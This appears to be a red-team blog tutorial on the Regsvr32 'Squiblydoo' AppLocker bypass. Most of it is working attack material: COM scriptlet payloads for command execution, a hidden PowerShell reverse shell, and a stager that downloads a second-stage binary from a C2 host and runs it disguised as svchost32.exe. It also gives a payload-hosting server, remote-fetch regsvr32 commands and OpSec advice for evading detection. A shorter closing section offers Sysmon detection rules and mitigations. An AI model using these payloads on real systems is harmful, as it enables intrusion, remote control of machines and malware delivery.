Skip to content
AppLocker Bypass — Regsvr32 (Squiblydoo)

AppLocker Bypass — Regsvr32 (Squiblydoo)

Scope: Red team / authorized penetration testing. Technique maps to MITRE ATT&CK T1218.010 .


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise (victim VM)
    │   ├── AppLocker default rules enforced (GPO)
    │   ├── Windows Defender enabled + updated
    │   ├── PowerShell 5.1
    │   ├── Sysmon (SwiftOnSecurity config)
    │   ├── Sysinternals Suite (Process Monitor, TCPView)
    │   └── Wireshark (capture SCT fetch traffic)
    │
    └── Kali Linux (attacker VM)
        ├── Python 3.10+ (HTTP server for SCT delivery)
        └── netcat / rlwrap (shell listener)

Windows VM — Enable AppLocker

 1# Enable AppLocker in audit + enforce mode
 2# Run as Administrator
 3
 4# ensure Application Identity service is running (AppLocker dependency)
 5Set-Service -Name AppIDSvc -StartupType Automatic
 6Start-Service AppIDSvc
 7
 8# create default rules via GPO cmdlets
 9$gpo = New-GPO -Name "AppLocker-Lab" -Comment "Lab AppLocker policy"
10
11# apply default executable rules (allow %WINDIR%, %PROGRAMFILES%)
12# In production: use GPMC GUI → Computer Config → Windows Settings →
13#   Security Settings → Application Control Policies → AppLocker
14
15# quick local policy via registry (for standalone lab box)
16$regBase = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2"
17@("Exe","Script","Msi","Dll","Appx") | ForEach-Object {
18    $path = "$regBase\$_"
19    New-Item $path -Force | Out-Null
20    Set-ItemProperty $path "EnforcementMode" 1   # 1=Enforce, 0=AuditOnly
21}
22Write-Host "[+] AppLocker enforcement mode set"
 1# Verify AppLocker is active — this should BLOCK execution of an untrusted binary
 2# Create a test exe in a non-whitelisted path and confirm it's blocked
 3$testPath = "$env:TEMP\test_applocker.exe"
 4Copy-Item "C:\Windows\System32\notepad.exe" $testPath
 5try {
 6    Start-Process $testPath -Wait -ErrorAction Stop
 7    Write-Warning "AppLocker NOT enforcing — check policy"
 8} catch {
 9    Write-Host "[+] AppLocker blocking — enforcement confirmed"
10}
11Remove-Item $testPath -Force

Install Sysmon

.\Sysmon64.exe -accepteula -i sysmon-config.xml

# verify EID 1 (process create) is firing for regsvr32
Get-WinEvent -FilterHashtable @{
    LogName="Microsoft-Windows-Sysmon/Operational"; Id=1
} -MaxEvents 5 | Select-Object TimeCreated, Message

Attacker VM — Python SCT Server

# start SCT payload server on port 80
mkdir payloads
python3 serve.py &   # from this blog's serve.py

# listener for reverse shell
rlwrap nc -lvnp 4444

Snapshot

VM → Snapshot → "REGSVR32_BASELINE"

Execution Chain Diagram

ATTACKER                          VICTIM (AppLocker enforced)
────────                          ────────────────────────────
                                  User / existing foothold
                                         │
                                         │  runs:
                                         ▼
                           regsvr32.exe /s /n /u /i:<URL> scrobj.dll
                                         │
                              ┌──────────┴──────────────┐
                              │   AppLocker evaluates   │
                              │   regsvr32.exe          │
                              │   ✓ Signed Microsoft    │
                              │   ✓ Trusted publisher   │
                              │   → ALLOW               │
                              └──────────┬──────────────┘
                                         │
                                         │  WinHTTP GET
                                         ▼
serve.py  ◄──────────────────  fetch payload.sct
   │
   │  HTTP 200  text/scriptlet
   ▼
payload.sct ─────────────────►  scrobj.dll parses SCT
                                         │
                              ┌──────────┴──────────────┐
                              │   AppLocker evaluates   │
                              │   scrobj.dll            │
                              │   ✓ Signed Microsoft    │
                              │   → ALLOW               │
                              └──────────┬──────────────┘
                                         │
                                         │  JScript / VBScript
                                         ▼
                                  <![CDATA[ ... ]]>
                                  your code executes
                                         │
nc -lvnp 4444  ◄─────────────  reverse shell connects

AppLocker Rule Coverage Gap

AppLocker Default Rules
┌─────────────────────────────────────────────────────┐
│  ✓ COVERED                   ✗ NOT COVERED          │
│  ─────────────               ────────────────────── │
│  .exe  .com                  .sct  ← this blog      │
│  .ps1  .vbs  .js             .hta                   │
│  .cmd  .bat                  .wsf  .wsc             │
│  .msi  .msp  .mst            .xsl  .inf             │
│  .dll  .ocx (off by default) .cpl  .url             │
│  .appx                       .gadget                │
│                              ...and many more       │
└─────────────────────────────────────────────────────┘

regsvr32.exe (trusted binary) loads .sct via scrobj.dll (trusted binary)
AppLocker only evaluated the binaries — never the SCT content.

What Is AppLocker?

AppLocker is Microsoft’s application whitelisting solution, available on Windows 7+ Enterprise and Ultimate SKUs. Admins define rules, by publisher, path, or file hash, that control which executables, scripts, installers, and DLLs are allowed to run.

On paper it’s a solid defense. In practice, it ships with a fundamental blind spot: signed Microsoft binaries are trusted by default. That trust is exactly what this technique exploits.


Meet Regsvr32

regsvr32.exe lives at C:\Windows\System32\regsvr32.exe. Its intended job is simple: register and unregister COM DLLs:

regsvr32 /s shell32.dll

It’s signed by Microsoft, it’s always present, and AppLocker’s default ruleset lets it run without question. What most people don’t know is that it can also load COM scriptlets, remote or local XML files containing executable JScript or VBScript, through a completely legitimate code path that was never meant to be a security boundary.

That’s the entire bypass. One trusted binary. One XML file. Game over.

The technique was named Squiblydoo by researcher Casey Smith (@subTee ) and has been in the red team playbook since 2016. It still works on unpatched or misconfigured systems today.


How It Works

The magic flag is /i: combined with /n (no DllInstall) and /u (unregister). When you pass a URL or file path to /i:, regsvr32 fetches and parses a COM scriptlet and executes its registration logic, which is just script code you control.

regsvr32 /s /n /u /i:<url_or_path> scrobj.dll

Breaking down the flags:

flagmeaning
/ssilent — suppress dialog boxes
/ndo not call DllRegisterServer
/uunregister mode (still loads the scriptlet)
/i:<target>pass <target> to DllInstall — accepts URLs

scrobj.dll is the Windows Script Component runtime. It handles the actual parsing and execution of the scriptlet. It too is a signed Microsoft binary.

The execution chain looks like this:

AppLocker policy
      │
      ▼
regsvr32.exe  ← signed, trusted, allowed
      │
      │  fetches via WinHTTP (if URL) or reads local file
      ▼
payload.sct   ← COM scriptlet, XML with embedded script
      │
      ▼
scrobj.dll    ← signed, trusted, parses and executes script
      │
      ▼
JScript / VBScript runs with user privileges

AppLocker never gets a chance to evaluate the scriptlet itself. It only sees trusted binaries on both ends.


The Scriptlet Format

COM scriptlets are XML files with a .sct extension. The structure is straightforward:

 1<?XML version="1.0"?>
 2<scriptlet>
 3  <registration
 4    progid="AnyStringHere"
 5    classid="{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}">
 6    <script language="JScript">
 7      <![CDATA[
 8        // your code runs here
 9      ]]>
10    </script>
11  </registration>
12</scriptlet>
  • progid — arbitrary string, doesn’t matter
  • classid — any valid GUID format, doesn’t need to be registered
  • languageJScript or VBScript
  • The <![CDATA[...]]> block is your payload

Custom Payloads

1. Proof of Concept — calculator pop

The classic “I’m in” confirmation. Pops calc.exe, no network activity, no persistence, clean PoC for client demos.

 1<?XML version="1.0"?>
 2<scriptlet>
 3  <registration
 4    progid="ShellExec"
 5    classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
 6    <script language="JScript">
 7      <![CDATA[
 8        var shell = new ActiveXObject("WScript.Shell");
 9        shell.Run("calc.exe", 0, false);
10      ]]>
11    </script>
12  </registration>
13</scriptlet>

2. Command execution — arbitrary cmd

Run any command silently. Swap out the command string for whatever your engagement calls for.

 1<?XML version="1.0"?>
 2<scriptlet>
 3  <registration
 4    progid="CmdExec"
 5    classid="{F0001111-0000-0000-0000-0000FEEDACDD}">
 6    <script language="JScript">
 7      <![CDATA[
 8        var shell = new ActiveXObject("WScript.Shell");
 9        var cmd   = "cmd.exe /c whoami > C:\\Windows\\Temp\\out.txt";
10        shell.Run(cmd, 0, true);
11      ]]>
12    </script>
13  </registration>
14</scriptlet>

3. Reverse shell — PowerShell one-liner delivery

This is the one you’ll actually use on engagements. The scriptlet invokes PowerShell with a base64-encoded reverse shell, window hidden, execution policy bypassed. Swap in your IP and port.

 1<?XML version="1.0"?>
 2<scriptlet>
 3  <registration
 4    progid="RevShell"
 5    classid="{F0001111-0000-0000-0000-0000FEEDACDE}">
 6    <script language="JScript">
 7      <![CDATA[
 8        var shell = new ActiveXObject("WScript.Shell");
 9
10        // PowerShell reverse shell — update LHOST and LPORT
11        var LHOST = "10.10.10.10";
12        var LPORT = "4444";
13
14        var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
15                 "$s=$c.GetStream();" +
16                 "[byte[]]$b=0..65535|%{0};" +
17                 "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
18                 "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
19                 "$r=(iex $d 2>&1|Out-String);" +
20                 "$rb=[Text.Encoding]::ASCII.GetBytes($r+' PS '+((gl).Path)+'> ');" +
21                 "$s.Write($rb,0,$rb.Length);" +
22                 "$s.Flush()};" +
23                 "$c.Close()";
24
25        // base64 encode for -EncodedCommand
26        var encoded = "";
27        for (var i = 0; i < ps.length; i++) {
28            encoded += String.fromCharCode(ps.charCodeAt(i), 0);
29        }
30        var b64 = btoa(encoded);
31
32        var cmd = "powershell.exe -nop -w hidden -ep bypass -EncodedCommand " + b64;
33        shell.Run(cmd, 0, false);
34      ]]>
35    </script>
36  </registration>
37</scriptlet>

btoa() is available in JScript on Windows 8+. On older targets replace it with a manual base64 encoder or drop the encoding entirely and just pass the raw command and adjust OpSec vs compatibility as needed.


4. Shellcode loader via scriptlet

If you’re dropping raw shellcode (e.g. a Cobalt Strike or Sliver stager), the scriptlet can call into a VBScript helper that writes a temporary HTA or drops a loader. Alternatively, chain into your modern_runner binary via a staged download:

 1<?XML version="1.0"?>
 2<scriptlet>
 3  <registration
 4    progid="StagerDrop"
 5    classid="{F0001111-0000-0000-0000-0000FEEDACDF}">
 6    <script language="JScript">
 7      <![CDATA[
 8        var xhr   = new ActiveXObject("MSXML2.XMLHTTP");
 9        var shell = new ActiveXObject("WScript.Shell");
10        var fso   = new ActiveXObject("Scripting.FileSystemObject");
11
12        // pull second stage binary from C2
13        var url  = "http://10.10.10.10:8080/stage2.exe";
14        var drop = shell.ExpandEnvironmentStrings("%TEMP%") + "\\svchost32.exe";
15
16        xhr.open("GET", url, false);
17        xhr.send();
18
19        if (xhr.status === 200) {
20            var stream = new ActiveXObject("ADODB.Stream");
21            stream.Type = 1; // binary
22            stream.Open();
23            stream.Write(xhr.responseBody);
24            stream.SaveToFile(drop, 2);
25            stream.Close();
26            shell.Run(drop, 0, false);
27        }
28      ]]>
29    </script>
30  </registration>
31</scriptlet>

Hosting the Scriptlet

For remote delivery you need an HTTP server that serves the .sct file. Anything works. Here’s a minimal Python server that sets the right content type so scrobj.dll doesn’t reject it:

 1#!/usr/bin/env python3
 2# serve.py — minimal SCT host for Squiblydoo delivery
 3
 4from http.server import HTTPServer, BaseHTTPRequestHandler
 5import os
 6
 7PAYLOAD_DIR = "./payloads"   # put your .sct files here
 8PORT        = 80
 9
10class SCTHandler(BaseHTTPRequestHandler):
11    def do_GET(self):
12        path = os.path.join(PAYLOAD_DIR, self.path.lstrip("/"))
13        if not os.path.isfile(path):
14            self.send_response(404)
15            self.end_headers()
16            return
17
18        with open(path, "rb") as f:
19            data = f.read()
20
21        self.send_response(200)
22        self.send_header("Content-Type", "text/scriptlet")
23        self.send_header("Content-Length", str(len(data)))
24        self.end_headers()
25        self.wfile.write(data)
26
27    def log_message(self, fmt, *args):
28        print(f"[{self.client_address[0]}] {fmt % args}")
29
30if __name__ == "__main__":
31    os.makedirs(PAYLOAD_DIR, exist_ok=True)
32    print(f"[*] serving {PAYLOAD_DIR}/ on :{PORT}")
33    HTTPServer(("0.0.0.0", PORT), SCTHandler).serve_forever()
# layout
payloads/
  calc.sct
  revshell.sct
  stage.sct

python3 serve.py

Execution

Remote (most common — no file drops)

regsvr32 /s /n /u /i:http://10.10.10.10/revshell.sct scrobj.dll

No file touches disk except the regsvr32 process itself. The scriptlet is fetched entirely in memory via WinHTTP.

Local file

regsvr32 /s /n /u /i:C:\Users\Public\payload.sct scrobj.dll

UNC path (internal network share)

regsvr32 /s /n /u /i:\\fileserver\share\payload.sct scrobj.dll

HTTPS

Works natively. Regsvr32 uses WinHTTP which respects the system proxy and trusts the system certificate store, useful when the target environment blocks plain HTTP egress.

regsvr32 /s /n /u /i:https://your.c2.domain/payload.sct scrobj.dll

OpSec Notes

  • The process tree is regsvr32.exe → (scrobj.dll parses scriptlet). If your scriptlet spawns powershell.exe or cmd.exe, those appear as children of regsvr32, a moderately loud signal. Consider spawning via WScript.Shell.Run with window hidden (0) and not waiting for completion (false).
  • HTTPS delivery hides the payload URL from network inspection but the TLS SNI is still visible without a domain-fronting setup.
  • Defender / EDR products with script content inspection will still see the JScript source. If you need extra cover, encode the actual logic or proxy it through a legitimate-looking scriptlet that loads a second stage.
  • regsvr32.exe spawning network connections is itself a detection opportunity: see below.

Detection (Blue Team)

If you’re defending against this:

signalwhere to look
regsvr32.exe making outbound HTTP/Snetwork telemetry, Windows Firewall logs
regsvr32.exe spawning cmd.exe, powershell.exe, wscript.exeSysmon Event ID 1 (process create), parent image
/i: flag containing a URL in command lineSysmon Event ID 1, process command line
scrobj.dll loaded by non-standard processSysmon Event ID 7 (image load)
AppLocker audit logs showing regsvr32 executing scriptletsAppLocker event log, Event ID 8004

Sysmon rule (rules.xml snippet):

<ProcessCreate onmatch="include">
  <ParentImage condition="is">C:\Windows\System32\regsvr32.exe</ParentImage>
</ProcessCreate>

<ProcessCreate onmatch="include">
  <CommandLine condition="contains">/i:http</CommandLine>
  <Image condition="is">C:\Windows\System32\regsvr32.exe</Image>
</ProcessCreate>

Mitigation: Software Restriction Policies or AppLocker rules that explicitly block regsvr32.exe from making outbound network connections, combined with blocking child process spawning from regsvr32. Windows Defender Application Control (WDAC) is more robust than AppLocker for this. It operates at the kernel level and is harder to bypass.


MITRE ATT&CK

fieldvalue
TacticDefense Evasion
TechniqueT1218 — System Binary Proxy Execution
Sub-techniqueT1218.010 — Regsvr32
PlatformsWindows
Permissions RequiredUser
Supports RemoteYes

References

Last updated on